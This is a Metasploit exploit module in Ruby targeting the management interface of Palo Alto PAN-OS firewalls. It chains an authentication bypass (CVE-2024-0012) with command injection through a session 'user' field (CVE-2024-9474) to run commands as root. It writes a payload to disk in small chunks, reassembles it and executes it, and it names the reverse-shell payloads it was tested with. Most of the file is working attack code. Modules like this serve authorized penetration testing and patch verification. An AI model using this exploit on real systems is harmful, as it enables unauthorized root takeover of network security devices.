245 lines
9.5 KiB
Ruby
245 lines
9.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
|
|
vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
|
|
execute arbitrary code with root privileges.
|
|
|
|
The following versions are affected:
|
|
* PAN-OS 11.2 (up to and including 11.2.4-h1)
|
|
* PAN-OS 11.1 (up to and including 11.1.5-h1)
|
|
* PAN-OS 11.0 (up to and including 11.0.6-h1)
|
|
* PAN-OS 10.2 (up to and including 10.2.12-h2)
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'watchTowr', # Technical Analysis
|
|
'sfewer-r7' # Metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2024-0012'],
|
|
['CVE', '2024-9474'],
|
|
# Vendor Advisories
|
|
['URL', 'https://security.paloaltonetworks.com/CVE-2024-0012'],
|
|
['URL', 'https://security.paloaltonetworks.com/CVE-2024-9474'],
|
|
# Technical Analysis
|
|
['URL', 'https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/']
|
|
],
|
|
'DisclosureDate' => '2024-11-18',
|
|
'Platform' => [ 'linux', 'unix' ],
|
|
'Arch' => [ARCH_CMD],
|
|
'Privileged' => true, # Executes as root on Linux
|
|
'Targets' => [
|
|
[
|
|
'Default', {
|
|
'Payload' => {
|
|
# See the comment in the exploit method for how we calculated the payload Space value.
|
|
'Space' => 5670,
|
|
# We write the payload in chunks, which limits our total space, but is also slow, so we disable nops
|
|
# to ensure the payload is as small as possible.
|
|
'DisableNops' => true,
|
|
'BadChars' => '\\\'"&'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
# NOTE: Tested with the payloads:
|
|
# cmd/linux/http/x64/meterpreter_reverse_tcp
|
|
# cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
# cmd/unix/reverse_bash
|
|
'DefaultOptions' => {
|
|
'RPORT' => 443,
|
|
'SSL' => true,
|
|
# A writable directory on the target for fetch based payloads to write to.
|
|
'FETCH_WRITABLE_DIR' => '/var/tmp'
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('WRITABLE_DIR', [true, 'The full path of a writable directory on the target.', '/var/tmp'])
|
|
]
|
|
)
|
|
end
|
|
|
|
# Our check routine leverages the two vulnerabilities to write a file to disk, which we then read back over HTTPS to
|
|
# confirm the target is vulnerable. The check routine will delete this file after it has been read.
|
|
def check
|
|
check_file_name = Rex::Text.rand_text_alphanumeric(4)
|
|
|
|
# NOTE: We set dontfail to true, as a check routine cannot fail_with().
|
|
|
|
# return Safe if we fail to trigger the vulnerability and execute a command.
|
|
return CheckCode::Safe unless execute_cmd(
|
|
"echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}",
|
|
dontfail: true
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri('unauth', check_file_name)
|
|
)
|
|
|
|
return CheckCode::Unknown('Connection failed') unless res
|
|
|
|
if res.code == 200 && res.body.include?(check_file_name)
|
|
|
|
# return Unknown if we fail to trigger the vulnerability a second time.
|
|
return CheckCode::Unknown unless execute_cmd(
|
|
"rm -f /var/appweb/htdocs/unauth/#{check_file_name}",
|
|
dontfail: true
|
|
)
|
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
CheckCode::Safe
|
|
end
|
|
|
|
# We can only execute a short command upon each invocation of the command injection vulnerability. To execute
|
|
# a Metasploit payload, we first write the payload to a file, but we do the file write in small
|
|
# chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each
|
|
# chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk.
|
|
# We then amalgamate all these chunks together back into a single file, reconstituting the original payload.
|
|
# Finally we read the payload from the file, and pipe it to a shell to execute it. To avoid our payload being
|
|
# executed twice, the payload will delete the single payload file upon the first execution of the payload,
|
|
# causing any second attempt to execute the payload to fail.
|
|
def exploit
|
|
tmp_file_name = Rex::Text.rand_text_alphanumeric(4)
|
|
|
|
bootstrap_payload = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}"
|
|
|
|
idx = 1
|
|
idx_prefix = ''
|
|
|
|
# Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and
|
|
# 25 for the echo command that writes the chunk to a file (assuming a path of /var/tmp and a single digit idx
|
|
# value. So by default, the chunk size will be 36. However this may change as we write the chunks.
|
|
# To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,
|
|
# we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get
|
|
# sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ...
|
|
# A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so
|
|
# we must recompute the chunk size, to ensure we dont go over the 63 character limit.
|
|
chunk_size = 63 - 2 - "echo -n ''>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}".length
|
|
|
|
# We display the progress to the user, so track that with a current and max chunk number.
|
|
curr_chunk_number = 1
|
|
|
|
max_chunk_number = (bootstrap_payload.length / chunk_size) + 1
|
|
|
|
while bootstrap_payload && !bootstrap_payload.empty?
|
|
|
|
print_status("Uploading payload chunk #{curr_chunk_number} of #{max_chunk_number}...")
|
|
|
|
chunk = bootstrap_payload[0, chunk_size]
|
|
|
|
bootstrap_payload = bootstrap_payload[chunk_size..]
|
|
|
|
execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}")
|
|
|
|
idx += 1
|
|
|
|
if idx > 9
|
|
idx = 1
|
|
idx_prefix += '9'
|
|
# Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the
|
|
# next chunk must have 1 less character.
|
|
chunk_size -= 1
|
|
# If the payload was too big, and we run out of space in the command to write any chunk data, fail.
|
|
# This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the
|
|
# available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less
|
|
# character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which
|
|
# would be a max MSF payload size of 5670 characters. Calculated with the command:
|
|
# ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz"
|
|
fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero?
|
|
end
|
|
|
|
curr_chunk_number += 1
|
|
end
|
|
|
|
print_status('Amalgamating payload chunks...')
|
|
|
|
execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['WRITABLE_DIR']}/#{tmp_file_name}")
|
|
|
|
print_status('Executing payload...')
|
|
|
|
execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}|sh", dontfail: true)
|
|
end
|
|
|
|
def execute_cmd(cmd, dontfail: false)
|
|
user = "`#{cmd}`"
|
|
|
|
# There is a 63 character limit for the command injection.
|
|
if user.length >= 64
|
|
fail_with(Failure::BadConfig, 'Command too long for execute_cmd')
|
|
end
|
|
|
|
vprint_status(user)
|
|
|
|
# Leverage the auth bypass (CVE-2024-0012) and poison a session parameter with the command to execute (CVE-2024-9474).
|
|
res1 = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri('php', 'utils', 'createRemoteAppwebSession.php', "#{Rex::Text.rand_text_alphanumeric(8)}.js.map"),
|
|
'headers' => {
|
|
'X-PAN-AUTHCHECK' => 'off'
|
|
},
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'user' => user,
|
|
'userRole' => 'superuser',
|
|
'remoteHost' => '',
|
|
'vsys' => 'vsys1'
|
|
}
|
|
)
|
|
|
|
unless res1&.code == 200
|
|
if dontfail
|
|
return false
|
|
end
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php')
|
|
end
|
|
|
|
unless cookie_jar.cookies.find { |c| c.name == 'PHPSESSID' }
|
|
fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned')
|
|
end
|
|
|
|
# Trigger the command injection (CVE-2024-9474).
|
|
res2 = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri('index.php', '.js.map'),
|
|
'keep_cookies' => true
|
|
)
|
|
|
|
unless res2&.code == 200
|
|
if dontfail
|
|
return false
|
|
end
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /index.php/.js.map')
|
|
end
|
|
|
|
true
|
|
end
|
|
end
|